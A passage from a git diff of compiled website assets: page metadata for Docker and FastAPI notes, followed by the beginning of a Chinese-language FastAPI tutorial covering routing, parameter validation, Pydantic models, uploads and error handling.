@@ +const e=JSON.parse('{"key":"v-6c4048f8","path":"/%E9%80%9A%E8%AF%86/Docker/Docker.html","title":"Docker","lang":"zh-CN","frontmatter":{},"headers":[{"level":2,"title":"安装","slug":"安装","link":"#安装","children":[]},{"level":2,"title":"换源","slug":"换源","link":"#换源","children":[{"level":3,"title":"Docker-hub 换源","slug":"docker-hub-换源","link":"#docker-hub-换源","children":[]}]},{"level":2,"title":"镜像","slug":"镜像","link":"#镜像","children":[{"level":3,"title":"常用指令","slug":"常用指令","link":"#常用指令","children":[]},{"level":3,"title":"删除镜像","slug":"删除镜像","link":"#删除镜像","children":[]},{"level":3,"title":"镜像导出与导入","slug":"镜像导出与导入","link":"#镜像导出与导入","children":[]},{"level":3,"title":"将镜像跑为容器","slug":"将镜像跑为容器","link":"#将镜像跑为容器","children":[]},{"level":3,"title":"推送到 Habor","slug":"推送到-habor","link":"#推送到-habor","children":[]}]},{"level":2,"title":"容器","slug":"容器","link":"#容器","children":[{"level":3,"title":"常用指令","slug":"常用指令-1","link":"#常用指令-1","children":[]},{"level":3,"title":"从容器中复制文件到本地(docker cp)","slug":"从容器中复制文件到本地-docker-cp","link":"#从容器中复制文件到本地-docker-cp","children":[]},{"level":3,"title":"将容器重新打包成镜像","slug":"将容器重新打包成镜像","link":"#将容器重新打包成镜像","children":[]}]},{"level":2,"title":"安全相关","slug":"安全相关","link":"#安全相关","children":[{"level":3,"title":"Docker逃逸","slug":"docker逃逸","link":"#docker逃逸","children":[]}]},{"level":2,"title":"常见问题","slug":"常见问题","link":"#常见问题","children":[{"level":3,"title":"ERROR: could not find an available, non-overlapping IPv4 address pool among the defaults to assign to the network","slug":"error-could-not-find-an-available-non-overlapping-ipv4-address-pool-among-the-defaults-to-assign-to-the-network","link":"#error-could-not-find-an-available-non-overlapping-ipv4-address-pool-among-the-defaults-to-assign-to-the-network","children":[]},{"level":3,"title":"unable to connect to deb.debian.org:http","slug":"unable-to-connect-to-deb-debian-org-http","link":"#unable-to-connect-to-deb-debian-org-http","children":[]},{"level":3,"title":"There is no public key","slug":"there-is-no-public-key","link":"#there-is-no-public-key","children":[]},{"level":3,"title":"debconf: delaying package configuration, since apt-utils is not installed","slug":"debconf-delaying-package-configuration-since-apt-utils-is-not-installed","link":"#debconf-delaying-package-configuration-since-apt-utils-is-not-installed","children":[]},{"level":3,"title":"安装插件失败 - failed to extract plugin [/usr/share/elasticsearch/plugins/head.zip]: ZipException[zip file is empty]","slug":"安装插件失败-failed-to-extract-plugin-usr-share-elasticsearch-plugins-head-zip-zipexception-zip-file-is-empty","link":"#安装插件失败-failed-to-extract-plugin-usr-share-elasticsearch-plugins-head-zip-zipexception-zip-file-is-empty","children":[]}]}],"git":{"createdTime":1667960979000,"updatedTime":1687746652000,"contributors":[{"name":"咸鱼型233","email":"ayusummer233@qq.com","commits":5},{"name":"233Official","email":"ayusummer233@qq.com","commits":3},{"name":"233Official","email":"ayusummr233@gmail.com","commits":1}]},"readingTime":{"minutes":10.99,"words":3297},"filePathRelative":"通识/Docker/Docker.md","localizedDate":"2022年11月9日","excerpt":""}');export{e as data}; diff --git a/assets/FastAPI.html-9f135828.js b/assets/FastAPI.html-9f135828.js new file mode 100644 index 0000000000..34d14bcb99 --- /dev/null +++ b/assets/FastAPI.html-9f135828.js @@ -0,0 +1 @@ +const l=JSON.parse('{"key":"v-f910ba1c","path":"/%E5%90%8E%E7%AB%AF/FastAPI/FastAPI.html","title":"FastAPI","lang":"zh-CN","frontmatter":{},"headers":[{"level":2,"title":"前言","slug":"前言","link":"#前言","children":[]},{"level":2,"title":"起步","slug":"起步","link":"#起步","children":[{"level":3,"title":"导入 FastAPI","slug":"导入-fastapi","link":"#导入-fastapi","children":[]},{"level":3,"title":"创建一个 FastAPI 实例","slug":"创建一个-fastapi-实例","link":"#创建一个-fastapi-实例","children":[]},{"level":3,"title":"创建一个路径操作","slug":"创建一个路径操作","link":"#创建一个路径操作","children":[]},{"level":3,"title":"定义路径操作函数","slug":"定义路径操作函数","link":"#定义路径操作函数","children":[]},{"level":3,"title":"返回内容","slug":"返回内容","link":"#返回内容","children":[]}]},{"level":2,"title":"请求模型","slug":"请求模型","link":"#请求模型","children":[{"level":3,"title":"路径参数和数据的解析验证","slug":"路径参数和数据的解析验证","link":"#路径参数和数据的解析验证","children":[]},{"level":3,"title":"查询参数和数据的解析, 验证","slug":"查询参数和数据的解析-验证","link":"#查询参数和数据的解析-验证","children":[]},{"level":3,"title":"请求体及混合参数","slug":"请求体及混合参数","link":"#请求体及混合参数","children":[]},{"level":3,"title":"数据格式嵌套的请求体","slug":"数据格式嵌套的请求体","link":"#数据格式嵌套的请求体","children":[]},{"level":3,"title":"配置 Cookie 和 Header 参数","slug":"配置-cookie-和-header-参数","link":"#配置-cookie-和-header-参数","children":[]}]},{"level":2,"title":"响应模型","slug":"响应模型","link":"#响应模型","children":[{"level":3,"title":"response_model","slug":"response-model","link":"#response-model","children":[]},{"level":3,"title":"响应状态码","slug":"响应状态码","link":"#响应状态码","children":[]},{"level":3,"title":"表单数据处理","slug":"表单数据处理","link":"#表单数据处理","children":[]},{"level":3,"title":"文件上传及参数详解","slug":"文件上传及参数详解","link":"#文件上传及参数详解","children":[]},{"level":3,"title":"静态文件的配置","slug":"静态文件的配置","link":"#静态文件的配置","children":[]},{"level":3,"title":"路径操作配置","slug":"路径操作配置","link":"#路径操作配置","children":[]},{"level":3,"title":"FastAPI 配置项","slug":"fastapi-配置项","link":"#fastapi-配置项","children":[]},{"level":3,"title":"错误处理","slug":"错误处理","link":"#错误处理","children":[]}]},{"level":2,"title":"依赖注入","slug":"依赖注入","link":"#依赖注入","children":[{"level":3,"title":"创建, 导入和声明依赖","slug":"创建-导入和声明依赖","link":"#创建-导入和声明依赖","children":[]},{"level":3,"title":"类作为依赖项","slug":"类作为依赖项","link":"#类作为依赖项","children":[]},{"level":3,"title":"子依赖的创建和调用","slug":"子依赖的创建和调用","link":"#子依赖的创建和调用","children":[]},{"level":3,"title":"路径操作装饰器中导入依赖","slug":"路径操作装饰器中导入依赖","link":"#路径操作装饰器中导入依赖","children":[]},{"level":3,"title":"FastAPI 框架中全局依赖的使用","slug":"fastapi-框架中全局依赖的使用","link":"#fastapi-框架中全局依赖的使用","children":[]},{"level":3,"title":"使用 yield 的依赖和子依赖","slug":"使用-yield-的依赖和子依赖","link":"#使用-yield-的依赖和子依赖","children":[]}]},{"level":2,"title":"JSON Compatible Encoder","slug":"json-compatible-encoder","link":"#json-compatible-encoder","children":[{"level":3,"title":"使用 jsonable_encoder","slug":"使用-jsonable-encoder","link":"#使用-jsonable-encoder","children":[]}]},{"level":2,"title":"OAuth2.0 的授权模式","slug":"oauth2-0-的授权模式","link":"#oauth2-0-的授权模式","children":[{"level":3,"title":"密码授权模式(Resource Owner Password Credentials Grant)","slug":"密码授权模式-resource-owner-password-credentials-grant","link":"#密码授权模式-resource-owner-password-credentials-grant","children":[]},{"level":3,"title":"OAuth2 密码模式和 FastAPI 的 OAuth2PasswordBearer","slug":"oauth2-密码模式和-fastapi-的-oauth2passwordbearer","link":"#oauth2-密码模式和-fastapi-的-oauth2passwordbearer","children":[]},{"level":3,"title":"基于 Password 和 Bearer token 的 OAuth2 认证","slug":"基于-password-和-bearer-token-的-oauth2-认证","link":"#基于-password-和-bearer-token-的-oauth2-认证","children":[]},{"level":3,"title":"开发基于 JSON Web Tokens 的认证","slug":"开发基于-json-web-tokens-的认证","link":"#开发基于-json-web-tokens-的认证","children":[]}]},{"level":2,"title":"SQL(Relational) Databases","slug":"sql-relational-databases","link":"#sql-relational-databases","children":[{"level":3,"title":"创建 SQLAlchemy","slug":"创建-sqlalchemy","link":"#创建-sqlalchemy","children":[]},{"level":3,"title":"创建 database models","slug":"创建-database-models","link":"#创建-database-models","children":[]},{"level":3,"title":"创建 Pydantic model","slug":"创建-pydantic-model","link":"#创建-pydantic-model","children":[]},{"level":3,"title":"CRUD utils","slug":"crud-utils","link":"#crud-utils","children":[]},{"level":3,"title":"Main FastAPI app","slug":"main-fastapi-app","link":"#main-fastapi-app","children":[]},{"level":3,"title":"Prisma","slug":"prisma","link":"#prisma","children":[]}]},{"level":2,"title":"数据库操作(慕课网)","slug":"数据库操作-慕课网","link":"#数据库操作-慕课网","children":[{"level":3,"title":"配置 SQLAlchemy ORM","slug":"配置-sqlalchemy-orm","link":"#配置-sqlalchemy-orm","children":[]},{"level":3,"title":"DataBase Models","slug":"database-models","link":"#database-models","children":[]}]},{"level":2,"title":"大型工程的目录结构设计","slug":"大型工程的目录结构设计","link":"#大型工程的目录结构设计","children":[]},{"level":2,"title":"中间件","slug":"中间件","link":"#中间件","children":[]},{"level":2,"title":"跨域资源共享","slug":"跨域资源共享","link":"#跨域资源共享","children":[{"level":3,"title":"源","slug":"源","link":"#源","children":[]},{"level":3,"title":"步骤","slug":"步骤","link":"#步骤","children":[]},{"level":3,"title":"通配符","slug":"通配符","link":"#通配符","children":[]},{"level":3,"title":"使用 CORSMiddleWare","slug":"使用-corsmiddleware","link":"#使用-corsmiddleware","children":[]}]},{"level":2,"title":"后台任务","slug":"后台任务","link":"#后台任务","children":[{"level":3,"title":"与依赖注入一起使用","slug":"与依赖注入一起使用","link":"#与依赖注入一起使用","children":[]}]},{"level":2,"title":"高级用户指南","slug":"高级用户指南","link":"#高级用户指南","children":[{"level":3,"title":"启动和停止事件","slug":"启动和停止事件","link":"#启动和停止事件","children":[]}]},{"level":2,"title":"测试用例","slug":"测试用例","link":"#测试用例","children":[]},{"level":2,"title":"运行","slug":"运行","link":"#运行","children":[{"level":3,"title":"放在主程序中运行","slug":"放在主程序中运行","link":"#放在主程序中运行","children":[]}]},{"level":2,"title":"Pydantic","slug":"pydantic","link":"#pydantic","children":[{"level":3,"title":"数据类型","slug":"数据类型","link":"#数据类型","children":[]}]},{"level":2,"title":"报错收集","slug":"报错收集","link":"#报错收集","children":[{"level":3,"title":"文档站点加载不出来","slug":"文档站点加载不出来","link":"#文档站点加载不出来","children":[]}]}],"git":{"createdTime":1667837365000,"updatedTime":1675222387000,"contributors":[{"name":"233Official","email":"ayusummer233@qq.com","commits":8},{"name":"咸鱼型233","email":"ayusummer233@qq.com","commits":4}]},"readingTime":{"minutes":47.04,"words":14113},"filePathRelative":"后端/FastAPI/FastAPI.md","localizedDate":"2022年11月7日","excerpt":""}');export{l as data}; diff --git a/assets/FastAPI.html-b6dce7ab.js b/assets/FastAPI.html-b6dce7ab.js new file mode 100644 index 0000000000..36c2d54f18 --- /dev/null +++ b/assets/FastAPI.html-b6dce7ab.js @@ -0,0 +1,1344 @@ +import{_ as r}from"./plugin-vue_export-helper-c27b6911.js";import{r as l,o as d,c as k,b as n,e as s,d as a,w as p,f as e}from"./app-893ba623.js";const m={},v=e('

    FastAPI

    前言

    随笔有一部分内容基于慕课网 21 年发的一份 FastAPI 基础教程

    ',4),b={href:"https://www.bilibili.com/video/BV1iN411X72b?p=19&spm_id_from=333.1007.top_right_bar_window_history.content.click",target:"_blank",rel:"noopener noreferrer"},h=n("hr",null,null,-1),g=n("h2",{id:"起步",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#起步","aria-hidden":"true"},"#"),s(" 起步")],-1),y={href:"https://fastapi.tiangolo.com/zh/tutorial/first-steps/",target:"_blank",rel:"noopener noreferrer"},q=e(`

    基本示例:

    # main.py
    +
    +# 导入 FastAPI
    +from fastapi import FastAPI
    +# 创建一个 FastAPI 实例
    +app = FastAPI()
    +
    +@app.get("/")
    +async def root():
    +    return {"message": "Hello World"}
    +
    uvicorn main:app --reload
    +

    20220408093533

    导入 FastAPI

    from fastapi import FastAPI
    +

    FastAPI 是一个为你的 API 提供了所有功能的 Python 类。

    `,9),f=n("code",null,"FastAPI",-1),_={href:"https://www.starlette.io/",target:"_blank",rel:"noopener noreferrer"},E={href:"https://www.worldlink.com.cn/en/osdir/starlette.html",target:"_blank",rel:"noopener noreferrer"},w=n("br",null,null,-1),A=n("img",{src:"http://cdn.ayusummer233.top/img/20220408094954.png",alt:"20220408094954"},null,-1),B=e(`

    可以通过 FastAPI 使用所有的 Starlette 的功能。

    创建一个 FastAPI 实例

    app = FastAPI()
    +

    这里的变量 app 会是 FastAPI 类的一个「实例」

    这个实例将是创建你所有 API 的主要交互对象。

    这个 app 同样在如下命令中被 uvicorn 所引用:

    uvicorn main:app --reload
    +

    创建一个路径操作

    路径

    `,9),x={href:"https://fastapi.tiangolo.com/zh/tutorial/first-steps/#_6",target:"_blank",rel:"noopener noreferrer"},P=n("p",null,"这里的「路径」指的是 URL 中从第一个 / 起的后半部分。",-1),S=n("p",null,[s("所以,在一个这样的 URL 中: "),n("code",null,"https://example.com/items/foo"),s(" 路径会是 "),n("code",null,"/items/foo")],-1),F=n("blockquote",null,[n("p",null,"「路径」也通常被称为「端点」或「路由」。")],-1),T=n("p",null,"开发 API 时,「路径」是用来分离「关注点」和「资源」的主要手段。",-1),D=n("h4",{id:"操作",tabindex:"-1"},[n("a",{class:"header-anchor",href:"#操作","aria-hidden":"true"},"#"),s(" 操作")],-1),I={href:"https://fastapi.tiangolo.com/zh/tutorial/first-steps/#_7",target:"_blank",rel:"noopener noreferrer"},C=e('

    这里的「操作」指的是一种 HTTP「方法」。

    下列之一:

    以及更少见的几种:

    在 HTTP 协议中,你可以使用以上的其中一种(或多种)「方法」与每个路径进行通信。

    在开发 API 时,通常使用特定的 HTTP 方法去执行特定的行为。

    通常使用:

    因此,在 OpenAPI 中,每一个 HTTP 方法都被称为「操作」。

    我们也打算称呼它们为「操作」。

    定义一个路径操作装饰器

    ',12),L={href:"https://fastapi.tiangolo.com/zh/tutorial/first-steps/#_8",target:"_blank",rel:"noopener noreferrer"},O=e(`
    @app.get("/")
    +

    @app.get("/") 告诉 FastAPI 在它下方的函数负责处理如下访问请求:

    @something 语法在 Python 中被称为「装饰器」。
    装饰器接收位于其下方的函数并且用它完成一些工作。
    在我们的例子中,这个装饰器告诉 FastAPI 位于其下方的函数对应着路径 / 加上 get 操作。
    它是一个「路径操作装饰器」。

    定义路径操作函数

    `,5),U={href:"https://fastapi.tiangolo.com/zh/tutorial/first-steps/#4",target:"_blank",rel:"noopener noreferrer"},R=e(`

    这是我们的「路径操作函数」:

    路径:是 /。
    操作:是 get。
    函数:是位于「装饰器」下方的函数(位于 @app.get("/") 下方)。

    from fastapi import FastAPI
    +
    +app = FastAPI()
    +
    +@app.get("/")
    +async def root():
    +    return {"message": "Hello World"}
    +

    每当 FastAPI 接收一个使用 GET 方法访问 URL「/」的请求时这个函数会被调用。

    返回内容

    `,5),H={href:"https://fastapi.tiangolo.com/zh/tutorial/first-steps/#5",target:"_blank",rel:"noopener noreferrer"},N=e(`
    return {"message": "Hello World"}
    +

    你可以返回一个 dict、list,像 str、int 一样的单个值,等等。

    你还可以返回 Pydantic 模型(稍后你将了解更多)。

    还有许多其他将会自动转换为 JSON 的对象和模型(包括 ORM 对象等)。尝试下使用你最喜欢的一种,它很有可能已经被支持。


    请求模型

    路径参数和数据的解析验证

    枚举类型

    可以使用枚举类型来指定参数范围

    # 导入枚举类型
    +from enum import Enum
    +
    +class CityName(str, Enum):
    +    Beijing = 'Beijing'
    +    Xian = 'Xian'
    +

    需要注意的是定义整型枚举类型是在 FastAPI 中不可以用 (int, Enum) 或者仅仅是使用 Enum, 应当先从 enum 导入 IntEnum, 然后使用 IntEnum 来定义整型枚举类型

    # 引入枚举类
    +from enum import Enum, IntEnum
    +
    +# 定义部门 id 枚举类型
    +class DidEnum(IntEnum):
    +    LinChuang=1
    +    NeiKe=2
    +    WaiKe=3
    +    Fuke=4
    +    ErKe=5
    +    
    +    
    +@router.get("/getStaffByDid/{did}", tags=["获取某个部门的员工"])
    +async def readStaffByDid(did: DidEnum):
    +    return {"username": "Rick"+str(type(did)) + "value:" + str(did)}
    +

    查询参数和数据的解析, 验证

    默认参数与可选参数

    from typing import Optional
    +
    +@router.get("/query")
    +def page_limit(page: int=1, limit: Optional[int] = None):
    +    if limit:
    +        return {"page": page, "limit": limit}
    +    return {"page": page}
    +

    从 typing 引入 Optional 然后在参数中使用即可


    bool 参数

    # bool 参数
    +@router.get("/query/bool/conversion")
    +async def type_conversion(param: bool=False):
    +    return {"param": param}
    +

    若非 bool 类型传参则会报 422 Unprocessable Entity

    image-20220429150218133

    image-20220429150320838


    多个参数, 列表, 字符串验证, 正则, 参数别名

    from typing import (
    +    Optional, # 用于指定可选参数
    +    List, # 列表
    +)
    +
    +from fastapi import( 
    +    APIRouter, 
    +    Depends, 
    +    HTTPException,
    +    Path,   # 用于校验路径        
    +    Query, # 用于校验查询参数    
    +    )
    +
    +# 多个查询参数列表, 正则, 参数别名
    +@router.get("/query/validations")
    +async def query_params_validate(
    +    # value: 字符串: 最小长度 8, 最大长度 16, 必须以 a 开头
    +    value: str = Query(..., min_length=8, max_length=16, regex="^a"),
    +    values: List[str] = Query(default=["v1", "v2"], alias="alias_name")
    +    ):
    +    return value, values
    +

    image-20220429154441432

    需要注意的是: 当时用参数别名时, 查询时 query 参数应当使用别名

    image-20220429154600704


    请求体及混合参数

    请求体和字段

    from pydantic import (
    +    BaseModel,  # 基本模型类, 用于构建数据模型
    +    Field,  # 字段类, 用于构建数据模型
    +)
    +
    +########## 请求体和混合参数 ##########
    +
    +class CityInfo(BaseModel):
    +    name: str = Field(..., example='Beijing')   # example 是注解作用, 值不会被验证
    +    country: str = Field(..., example='China')
    +    contry_code: str = Field(..., example='CN')
    +    contry_population: int = Field(default=800,  title="人口数量", 
    +                                                    description="国家的人口数量", ge=800)
    +    class Config:
    +        schema_extra = {
    +            "example": {
    +                "name": "Beijing",
    +                "country": "China",
    +                "contry_code": "CN",
    +                "contry_population": 1400000000
    +            }
    +        }
    +
    +@router.post("/request_body/city", tags=["city"])
    +async def city_info(city: CityInfo):
    +    print(city.name, city.country)
    +    return city.dict()
    +

    image-20220429211641949

    成功响应:

    image-20220429211727171

    country_population 不在允许范围内:

    image-20220429211953031

    需要注意的是, 这里的请求体就不是 query 了而是 body(application/json)

    image-20220429212813608


    多参数混合

    # 多参数混合
    +@router.put("/request_body/city/{name}")
    +async def mix_city_info(
    +    name: str,
    +    city01: CityInfo,
    +    city02: CityInfo,
    +    confirmed: int = Query(ge=0, description="确诊数", default=0),
    +    death: int = Query(ge=0, description="死亡数", default=0)
    +    ):
    +    if name == "Shanghai":
    +        return {
    +            "Shanghai":
    +            {
    +                "confirmed": confirmed,
    +                "death": death
    +            }
    +        }
    +    return city01.dict(), city02.dict()
    +

    直接在参数中添加不同类型参数即可

    query 包括 name, confirmed, death

    body 包括两个 CityInfo: city01, city02

    image-20220429215047949

    image-20220429215120620

    image-20220429215200273


    数据格式嵌套的请求体

    在使用 Pydantic 定义请求体数据的时候, 校验使用 pydantic.Field

    校验路径使用 fastapi.Path

    校验查询参数用 fastapi.Query

    # 引入日期类
    +from datetime import date
    +
    +# ########## 数据格式嵌套的请求体 ##########
    +
    +class Data(BaseModel):
    +    city: List[CityInfo] = None # 定义数据格式嵌套的请求体
    +    date: date
    +    # 使用 Field 进行数据校验
    +    confirmed: int = Field(default=0, ge=0, description="确诊数")
    +    death: int = Field(default=0, ge=0, description="死亡数")
    +    recovered: int = Field(default=0,  ge=0, description="治愈数")
    +
    +@router.put("/request_body/nested")
    +async def nested_models(data: Data):
    +    return data
    +
    +
    +

    image-20220429233413969

    image-20220429233435690


    from fastapi import Cookie
    +
    +@router.get("/cookie")
    +async def cookie(cookie_id: Optional[str] =  Cookie(None)):
    +    return {"cookie_id": cookie_id}
    +

    调试需要在 apipost 中调下, 在 Header 中设置 Cookie

    image-20220429235629565


    Header 校验

    from fastapi import Header
    +
    +# 校验 Header
    +@router.get("/header")
    +async def header(user_agent: Optional[str] = Header(
    +            None, 
    +            convert_underscores=True    # 将下划线转换为 - 
    +        ),
    +        # 不加下划线转化的话就变成了普通的query列表参数了
    +        x_token: List[str] = Header(None)  
    +    ):
    +    return {"user_agent": user_agent, "x_token": x_token}
    +

    需要注意的是, 第二个参数就是普通的 Header 参数, 只有将参数名称设置为 user_agent 时才能正确接收到 user_agent

    image-20220430001220308

    image-20220430001314429

    需要注意的是, 设置了 *convert_underscores=True 的话发请求的时候 Header 中的相应参数要使用短横线而非下划线, 如 user-agent, x-token, 否则会无法正确接收到信息

    image-20220430002420244

    image-20220430002550536


    响应模型


    response_model

    使用 pydantic.BaseModel 派生子类创建响应模型类, 在写路由时使用 response_model=xxx 来指定 xxx 为响应模型, 这样返回的响应就是一个 xxx 实例

    class UserBase(BaseModel):
    +    username: str
    +    email: EmailStr
    +    mobile: str = "10086"
    +    address: str = None
    +    full_name: Optional[str] = None
    +
    +class UserIn(UserBase):
    +    """用于创建 User 对象
    +    用户创建时需要给出 password
    +    但是访问用户时不应当返回 password
    +    """
    +    password: str
    +
    +class UserOut(UserBase):
    +    pass
    +
    +users = {
    +    "user01": {"username": "user01", "password": "123123", "email": "user01@example.com"},
    +    "user02": {"username": "user02", "password": "123456", "email": "user02@example.com", "mobile": "110"}
    +}
    +
    +# 使用响应模型
    +@app04.post("/response_model/", response_model=UserOut, response_model_exclude_unset=True)
    +async def response_model(user: UserIn):
    +    """
    +    response_model_exclude_unset=True 表示默认值不包含在响应中, 仅包含实际给的值, 
    +    如果实际给的值与默认值相同也会包含在响应中
    +    """
    +    print(user.password)  # password不会被返回
    +    # return user
    +    return users["user02"]
    +

    image-20220430141333793


    @app04.post(
    +    "/response_model/attributes",
    +    # response_model=UserOut,
    +    # response_model=Union[UserIn, UserOut],    # 取并集(也就是两个类的属性都有)
    +    response_model=List[UserOut],
    +    # 包含某些字段, 这里的 mobile 会被下面 exclude 覆盖掉
    +    # response_model_include=["username", "email", "mobile"], 
    +    response_model_include=["username", "email"], # 包含某些字段
    +    response_model_exclude=["mobile"]   # 排除掉某些字段
    +)
    +async def response_model_attributes(user: UserIn):
    +    """response_model_include列出需要在返回结果中包含的字段  
    +    response_model_exclude列出需要在返回结果中排除的字段
    +    """
    +    # del user.password  # Union[UserIn, UserOut]后,删除password属性也能返回成功
    +    # return user
    +    return [user, user]
    +

    响应模型可以使用单个响应模型类, 也可以使用模型类并集, 模型类列表;

    响应模型亦可以进行特定字段的选取与排除

    image-20220430142357442


    复杂类型响应

    比如这种响应:

    image-20220502192305698

    首先这是从数据库中获取到的数据加上一些修饰得到的

    实现这种需求的两种方式:


    直接搓 JSON
    # 引入 jsonable_encoder
    +from fastapi.encoders import jsonable_encoder
    +from fastapi.responses import JSONResponse
    +
    +staffs = crud.read_staff_by_page(db, page, pageSize)
    +staffs = list(jsonable_encoder(staffs))
    +return JSONResponse(content={
    +    "code":0,
    +    "message":"ok",
    +    "result":{
    +        "items":staffs,
    +        "total": len(staffs)
    +    },
    +    "type":"success"
    +})    
    +

    封装 schema

    先用 pydantic.BaseModelstaff schema 封装一个响应模型类

    # 虚拟一个默认员工
    +default_staff = {
    +    "sid": 0,
    +    "sname": "咸鱼型233",
    +    "did": 0
    +}
    +
    +class ResultSchema(BaseModel):
    +    """结果类"""
    +    items: List[Staff] = [Staff(**default_staff)]
    +    total: int = len(items)
    +
    +# StaffListGetResultModel 
    +class StaffListGetResultModel(BaseModel):
    +    """员工列表获取结果类  
    +    :param items: 员工列表; 默认值: [default_staff]  
    +    :param total: 员工总数; 默认值: 1  
    +    """
    +    code: int = 0
    +    message: str = "ok"
    +    result: ResultSchema = ResultSchema(**default_staff)
    +    type: str = "success"
    +

    然后再返回需要从数据库中读取的数据以及默认值:

    # 查询 page 页, 页大小为 pageSize 的员工信息
    +@router.get(
    +    "/getStaffByPage/", 
    +    summary="分页按条目获取员工信息",
    +    response_model= schema.StaffListGetResultModel,
    +    response_model_exclude_unset=False,
    +)
    +async def get_staff_by_page(
    +    page: int = 1, 
    +    pageSize: int = 10, 
    +    db:Session = Depends(get_db),
    +):
    +    """分页按条目获取员工信息  
    +    :param page: 页码  
    +    :param pageSize: 页大小  
    +    :param db: 数据库连接  
    +    :param response_model: 返回结果类型: schema.StaffListGetResultModel  
    +    :param response_model_exclude_unset: 是否排除未设置的字段, 表示默认值不包含在响应中, 仅包含实际给的值,   
    +                                        如果实际给的值与默认值相同也会包含在响应中
    +    """
    +    staffs = crud.read_staff_by_page(db, page, pageSize)
    +    return {
    +        "result":{
    +            "items":staffs,
    +            "total": len(staffs)
    +        },
    +    }
    +

    image-20220502193659478


    响应状态码

    在路由中通过 status_code 进行指定, 其值为整型, 可以通过 status.HTTP_xx_xx 获得名称上的提示

    @app04.post("/status_code", status_code=200)
    +async def status_code():
    +    """返回status_code: 200"""
    +    return {"status_code": 200}
    +
    +
    +@app04.post("/status_attribute", status_code=status.HTTP_200_OK)
    +async def status_attribute():
    +    """返回 status.HTTP_200_OK
    +    """
    +    print(type(status.HTTP_200_OK))
    +    return {"status_code": status.HTTP_200_OK}
    +

    表单数据处理

    引入 fastapi.Form 用于处理表单数据

    # from fastapi import Form   # 用于处理表单数据
    +
    +@app04.post("/login/")
    +async def login(username: str = Form(...), password: str = Form(...)):  # 定义表单参数
    +    """
    +    Form(...) 表示参数为必填项  
    +    用Form类需要pip install python-multipart;   
    +    Form类的元数据和校验方法类似Body/Query/Path/Cookie
    +    """
    +    return {"username": username}
    +

    image-20220430145257599


    文件上传及参数详解

    引入 fastapi.File & UploadFile, 路由函数参数中使用 FileUploadFile 来注解参数

    """Request Files 单文件、多文件上传及参数详解"""
    +# from fastapi import (
    +#     File,   # 文件处理
    +#     UploadFile,     # 用于处理文件上传
    +# )
    +
    +@app04.post("/file")
    +async def file_(file: bytes = File(...)):  
    +    """
    +    如果要上传多个文件 files: List[bytes] = File(...)  
    +    使用File类 文件内容会以bytes的形式读入内存  
    +    适合于上传小文件
    +    """
    +    return {"file_size": len(file)}
    +
    +
    +@app04.post("/upload_files")
    +async def upload_files(files: List[UploadFile] = File(...)):  
    +    """
    +    如果要上传单个文件 file: UploadFile = File(...)  
    +    使用 UploadFile 类的优势:  
    +    1.文件存储在内存中,使用的内存达到阈值后,将被保存在磁盘中  
    +    2.适合于图片、视频大文件  
    +    3.可以获取上传的文件的元数据,如文件名,创建时间等  
    +    4.有文件对象的异步接口  
    +    5.上传的文件是Python文件对象, 可以使用write(), read(), seek(), close()操作  
    +    """
    +    for file in files:
    +        contents = await file.read()
    +        print(contents)
    +    return {"filename": files[0].filename, "content_type": files[0].content_type}
    +

    image-20220430150417033

    image-20220430150355031


    静态文件的配置

    静态文件一般放在 static 文件夹中, 需要在 main app (而非 APIRouter 分路由) 中进行挂载方可使用

    import os   # 用于拼接路径
    +
    +app = FastAPI(
    +    title='FastAPI Tutorial and Coronavirus Tracker API Docs',
    +    description='FastAPI教程 \\
    +        新冠病毒疫情跟踪器API接口文档, \\
    +        项目代码:https://github.com/liaogx/fastapi-tutorial',
    +    version='1.0.0',
    +    docs_url='/docs',
    +    redoc_url='/redocs',
    +)
    +
    +# mount表示将某个目录下一个完全独立的应用挂载过来,这个不会在API交互文档中显示
    +# .mount()不要在分路由APIRouter().mount()调用,模板会报错
    +static_path = os.path.abspath(os.path.join(os.path.dirname(__file__), './coronavirus/static'))
    +app.mount(path='/static', app=StaticFiles(directory=static_path), name='static')  
    +

    路径操作配置

    """Path Operation Configuration 路径操作配置"""
    +# 响应的状态码, 标签, 相应的描述符, 参数类型, 参数名称, 参数描述等等
    +
    +@app04.post(
    +    "/path_operation_configuration",    # URL 地址
    +    response_model=UserOut,   # 响应的结果类型
    +    # tags=["Path", "Operation", "Configuration"],    # 标签, 在 doc 中会按照标签进行分类展示
    +    summary="This is summary",  # 接口描述, 在 doc 中会在路径后面显示
    +    description="This is description",  # 描述, 在 doc 中会在接口描述下面显示
    +    response_description="This is response description",    # 响应描述, 在 doc 中会在响应结果下面显示
    +    # deprecated=True,    # 是否弃用
    +    status_code=status.HTTP_200_OK  # 响应状态码
    +)
    +async def path_operation_configuration(user: UserIn):
    +    """
    +    Path Operation Configuration 路径操作配置
    +    :param user: 用户信息
    +    :return: 返回结果
    +    """
    +    return user.dict()
    +

    image-20220430153331803


    FastAPI 配置项

    # FastAPI 配置项
    +app = FastAPI(
    +    # 标题
    +    title='FastAPI Tutorial and Coronavirus Tracker API Docs',
    +    # 描述
    +    description='FastAPI教程 \\
    +        新冠病毒疫情跟踪器API接口文档, \\
    +        项目代码:https://github.com/liaogx/fastapi-tutorial',
    +    # 版本
    +    version='1.0.0',
    +    # Swagger UI 文档地址
    +    docs_url='/docs',
    +    # ReDoc 文档地址
    +    redoc_url='/redocs',
    +)
    +

    错误处理

    引入 fastapi.HTTPException 后在路由函数中进行使用

    ########## Handling Errors 错误处理 ##########
    +# HTTP Exception 以及自定义异常处理器
    +# from fastapi import HTTPException   # 用于处理HTTP异常
    +
    +@app04.get("/http_exception")
    +async def http_exception(city: str):
    +    """默认的异常处理测试   
    +    :param city: 城市名称  
    +    :return: 返回城市名称  
    +    若 city 不是 Beijing 则抛出 404 错误
    +    """
    +    if city != "Beijing":
    +        raise HTTPException(status_code=404, detail="City not found!", headers={"X-Error": "Error"})
    +    return {"city": city}
    +

    自定义异常处理

    main app 中进行异常处理的重写

    from fastapi.exceptions import RequestValidationError # 请求校验错误处理
    +from fastapi.responses import PlainTextResponse       # 文本形式返回 response
    +from starlette.exceptions import HTTPException as StarletteHTTPException  # HTTP 异常处理
    +
    +
    +@app.exception_handler(StarletteHTTPException)  # 重写HTTPException异常处理器
    +async def http_exception_handler(request, exc):
    +    """
    +    使用文本形式返回异常信息
    +    :param request: request 请求      (这个参数不能省)
    +    :param exc: 错误
    +    :return:
    +    """
    +    return PlainTextResponse(str(exc.detail), status_code=exc.status_code)
    +#
    +#
